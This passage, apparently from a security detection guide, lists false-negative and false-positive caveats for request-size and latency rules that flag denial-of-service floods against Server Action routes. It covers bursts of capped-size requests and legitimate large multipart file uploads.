  • False negative (size cap): With the default 1 MB serverActions.bodySizeLimit, a single request's field count is capped to ~15,000-16,000, limiting per-request CPU to roughly sub-second. Attackers compensate by bursting many requests. A rule looking only at single-request size or single-request latency will under-count a low-and-slow flood.
  • False positive (Rule 2): A legitimate large multipart file upload through a Server Action route will also have a large body size. Rule 2's byte-size threshold is a conservative fallback; a part-count-aware threshold (unavailable in standard webserver logs) would be more precise. Tune per your app's real upload patterns.

#References